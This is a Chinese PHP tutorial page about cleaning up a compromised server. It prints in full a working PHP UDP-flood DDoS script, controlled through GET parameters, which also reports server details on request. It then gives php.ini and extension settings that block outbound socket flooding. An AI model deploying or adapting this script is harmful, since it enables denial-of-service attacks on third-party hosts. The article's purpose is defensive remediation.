当前位置:首页 > PHP教程 > php高级应用 > 列表

php的ddos攻击解决方法

发布:smiling 来源: PHP粉丝网  添加日期:2021-05-08 09:41:35 浏览: 评论:0 

这篇文章主要介绍了php的ddos攻击解决方法,实例分析了ddos攻击程序的原理与针对性的解决方法,是非常实用的技巧,需要的朋友可以参考下

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

  1. <?php 
  2. set_time_limit(999999); 
  3. $host = $_GET['host']; 
  4. $port = $_GET['port']; 
  5. $exec_time = $_GET['time']; 
  6. $Sendlen = 65535; 
  7. $packets = 0; 
  8. ignore_user_abort(True); 
  9.  
  10. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
  11.         if (StrLen($_GET['rat'])<>0){ 
  12.                 echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
  13.                 exit
  14.             } 
  15.         echo "Parameters can not be empty!"
  16.         exit
  17.     } 
  18.  
  19. for($i=0;$i<$Sendlen;$i++){ 
  20.         $out .= "A"
  21.     } 
  22.  
  23. $max_time = time()+$exec_time
  24.  
  25. while(1){ 
  26.     $packets++; 
  27.     if(time() > $max_time){ 
  28.         break
  29.     } 
  30.     $fp = fsockopen("udp://$host"$port$errno$errstr, 5); 
  31.         if($fp){ 
  32.             fwrite($fp$out); 
  33.             fclose($fp); 
  34.     } 
  35.  
  36. echo "Send Host:$host:$port<br><br>"
  37. echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"
  38. echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"
  39. ?> 

关键代码在于如下:

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

Tags: ddos攻击

分享到:

相关文章